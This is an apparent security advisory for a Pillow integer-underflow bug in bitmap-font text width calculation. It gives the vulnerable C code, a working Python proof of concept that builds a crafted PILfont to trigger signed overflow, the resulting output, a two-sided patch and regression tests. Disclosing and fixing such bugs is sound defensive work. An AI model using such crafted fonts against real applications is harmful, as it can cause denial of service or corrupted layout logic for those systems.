CVE-2026-96641 is a medium-severity (CVSS 6.5) CWE-190 vulnerability in pillow. A fix is available for pillow — see the affected versions and patch details below.
Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-96641 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
pillowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/_imaging.c:2809:15, xsize += dx
Details
The code in Pillow 12.3.0 is:
for (xsize = 0; *text; text++) {
int dx = self->glyphs[*text].dx;
if (dx > 0 && xsize > INT_MAX - dx) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
xsize += dx;
}
The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves:
dx > 0 => xsize <= INT_MAX - dx
It does not prove the other half of the contract:
dx < 0 => xsize >= INT_MIN - dx
Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INT_MIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC
"""Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with
the PyC-Contract UBSan build to obtain the exact native diagnostic.
"""
from __future__ import annotations
import struct
from io import BytesIO
import PIL
from PIL import Image, ImageFont
ADVANCE = -(2**15)
CONTROL_REPEAT = 65_536
WITNESS_REPEAT = 65_537
def bitmap_font(advance: int) -> ImageFont.ImageFont:
metrics = bytearray(256 * 20)
glyph_offset = ord("A") * 20
metrics[glyph_offset : glyph_offset + 2] = struct.pack(">h", advance)
font_data = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics)
font = ImageFont.ImageFont()
font._load_pilfont_data(BytesIO(font_data), Image.new("1", (1, 1)))
return font
def main() -> None:
font = bitmap_font(ADVANCE)
print(f"Pillow={PIL.__version__}")
print(f"control_math={ADVANCE * CONTROL_REPEAT}")
print(f"control_return={font.getlength('A' * CONTROL_REPEAT)}")
print(f"witness_math={ADVANCE * WITNESS_REPEAT}")
print(f"witness_return={font.getlength('A' * WITNESS_REPEAT)}")
if __name__ == "__main__":
main()
Observations from a regular 12.3.0 release build:
Pillow=12.3.0
control_math=-2147483648
control_return=0
witness_math=-2147516416
witness_return=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INT_MIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact
The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions:
if ((dx > 0 && xsize > INT_MAX - dx) ||
(dx < 0 && xsize < INT_MIN - dx)) {
PyErr_SetString(PyExc_OverflowError, "Width too large");
return -1;
}
At a minimum, four test cases should be added:
dx = 32767, repeat = 65538— upper adjacent control (should succeed);dx = 32767, repeat = 65539— should raiseOverflowError;dx = -32768, repeat = 65536— lower adjacent control (should succeed);dx = -32768, repeat = 65537— should raiseOverflowError.
Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pillow | all versions | 13.0.0pip install --upgrade 'pillow==13.0.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pillow to 13.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-96641 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Frequently Asked Questions
Is CVE-2026-96641 in your dependencies?
Find it across PyPI, including transitive dependencies.